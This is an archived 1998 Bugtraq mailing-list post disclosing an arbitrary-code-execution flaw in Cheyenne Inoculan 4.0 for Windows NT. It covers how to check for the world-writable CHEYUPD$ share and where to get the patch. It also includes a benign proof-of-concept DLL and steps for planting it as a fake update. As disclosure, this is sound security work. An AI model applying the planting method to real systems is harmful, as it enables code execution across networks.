Home page logo

bugtraq logo Bugtraq mailing list archives

Cheyenne Inoculan vulnerability on NT
From: p__boyer () USA NET (p__boyer () USA NET)
Date: Thu, 11 Jun 1998 17:48:16 -0400

It is possible to run arbitrary code on any Intel machine running Cheyenne Inoculan version 4.0 for Windows NT(any 
version of NT) prior to SP2.
Same kind of vulnerabilities might exist with other anti-virus product providing an auto-update mechanism. I have not 
the time needed to fully explore this issue. Feel free to contribute.

Summary of the problem:
 * Cheyenne Inoculan version 4.0 prior to SP2 for Windows NT creates a shared directory called "CHEYUPD$" in which 
 * When Inoculan starts, it checks if a new versions of Inoculan has been written in that directory and, if so, replace 
itself with the new version.
 * It is trivial to create a fake "new version" and let Inoculan install this fake on all machines running inoculan

To check if you are vulnerable :
if you have the resource kit installed, run
SRVCHECK.EXE \\<YourMachine>
else run srvmgr.exe from a NT server on the same domain, select <YourMachine> and select "Computer|Shared Directories".

If there is a shared directory called "CHEYUPD$" that allows "FULL CONTROL" to the "EVERYONE" group, this is bad news :(

The solution:
go to http://www.cheyenne.com/CheyTech/Download/patches/techptch.html and install their latest patch
  Nota: it took more than 3 weeks after I first reported the problem to cheyenne (a Computer Associates Company) before 
they provided us with such a patch. I had to wait the patch availability before to post here... Client rules ;)

More details :

Inoculan runs as a service, called "Cheyenne InocuLAN Anti-Virus Server". When it starts, it replaces any shared 
directory with the same name and shares "CHEYUPD$" with full control for the everyone group.

When the service starts, it does an update check in this directory (usually "C:\Inoculan\Update\" ) using the files 
"<NtBox>\CHEYUPD$\English\NtIntel\Ready\filelist.txt" and [idem]...\avh32dll.dll

simply "touching" or modifying  the file "filelist.txt" for it looks younger than real causes the update. Th update 
causes the service to stop, the avh32dll.dll DLL to replace the existing one (usually in c:\inoculan\avh32dll.dll) and 
then starts the service again.
When the service starts, it loads the DLL into memory, and THEN does a lot of stuff (including checking if it is a 
valid DLL, I presume).

The problem is you can write a DLL that execute arbitrary code at the time it is loaded in memory, at the precise time 
when DllMain is called by the image loader, before any other function have a chance to be called...


-------Cut here -----------
#include "stdio.h"

long  __stdcall DllMain (long, unsigned long, void*)
// Any code can goes here. This is an exemple
// What it does is simply create a file on C: drive root directory
// and writing "hello world !" inside of it
        FILE * demo;

// create a file
    demo = fopen ( "C:\\I_can_write_a_file.txt", "w");

// write to the file
    char * buf = "hello world !      ";
        fwrite (        buf,1, 15, demo);
        fclose ( demo );

// This aborts the DLL loading. Anyway, we're done at that time ;))
        return 0;

-------Cut here -----------

compile and link to make the target avh32dll.dll

write it to <NtBox>\CHEYUPD$\English\NtIntel\Ready\
touch <NtBox>\CHEYUPD$\English\NtIntel\Ready\filelist.txt in the same directory for it is more recent than initially.

Stop the "Cheyenne InocuLAN Anti-Virus Server" on the <NtBox> machine and start it again (alternatively shutdown and 
restart the machine).
Here you are : there is a file "I_can_write_a_file.txt" in "C:\" on <NtBox>.
No good :(

An interesting point is that Inoculan uses "domains". In one domain, a single server forwards the updates to all 
machines participating in that "domain" (nothing to do with NT domains).
I didn't have the test environment to test it, but I would expect a much worse scenario if the trojan is written to the 
inoculan domain's server CHEYUPD$ shared directory. I'm afraid that the trojan would be copied to all machines of that 
This is serious, because all machines would be running arbitrary code in place of the anti-virus program.

Fortunately, this problem is now fixed by Cheyenne, but I think there are a lot of such security holes yet to be found 
in all anti-virus auto-update mechanisms.

most run the same scenario :
1) a update is issued by the anti-virus vendor on its FTP or Web server, or sent on a floppy disk or CD, or downloaded 
using a dedicated modem connection from the vendor's remote access server.
2) the update is copied to a few servers within the client network
3) all machines get the update from this or those servers
4) all machines run the updated version.

This present problem with Inoculan uses a vulnerability allowing a user on the internal network to fake step 2 and/or 3.
If you imagine the vendor's ftp server is compromised, the attacker could fake step 1 with much more widespread impact.
If you imagine the client connection to the Internet is compromised, an attacker could redirect to a fake ftp server. 
This would impact step 2.

Paul Boyer
p__boyer () usa net

Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]